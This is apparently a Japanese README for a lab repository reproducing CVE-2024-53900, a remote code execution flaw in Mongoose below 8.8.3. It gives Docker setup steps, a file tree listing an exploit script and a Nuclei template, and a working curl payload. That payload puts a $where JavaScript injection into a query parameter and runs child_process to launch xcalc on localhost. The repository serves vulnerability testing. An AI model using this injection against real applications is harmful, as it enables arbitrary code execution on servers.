
CVE-2024-53900(populate().match $where を介した Mongoose の重大な RCE)の再現可能な環境と PoC。セキュリティテスト用の自動エクスプロイトスクリプトと Nuclei テンプレートが含まれています。
このリポジトリは、CVE-2024-53900 の再現可能な脆弱性環境と PoC を提供します。これは、Mongoose < 8.8.3 の重大なリモートコード実行(RCE)脆弱性です。
populate().match と $where の組み合わせ参照:
git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900
docker-compose up -d
デフォルトでは、脆弱な Node.js アプリは Docker 内で実行されます。
ただし、GUI アプリケーション(xcalc や gnome-calculator など)はコンテナ内では起動しません。
👉 電卓ウィンドウを起動して RCE をデモしたい場合は、次の手順を行います:
MongoDB を Docker で実行する(DB バックエンドとして)
docker run -d --name mongo -p 27017:27017 mongo:6
脆弱な Node.js アプリをローカルで実行する
cd ~/cve-2024/app
npm install
node server.js
27017 で実行されます5000 で実行されます/home/kali/cve-2024/
├── docker-compose.yml # Environment setup
├── exploit.py # Automated exploit script
├── CVE-2024-53900.yaml # Nuclei template
├── README.md # Documentation
├── app/ # Vulnerable Node.js app
│ ├── Dockerfile
│ ├── package.json
│ ├── server.js
│ ├── models.js
│ └── views/
└── data/ # MongoDB volume
curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"
python3 exploit.py --url http://localhost:5000
nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author

mongo:6188.5.0(脆弱性あり)4.18.2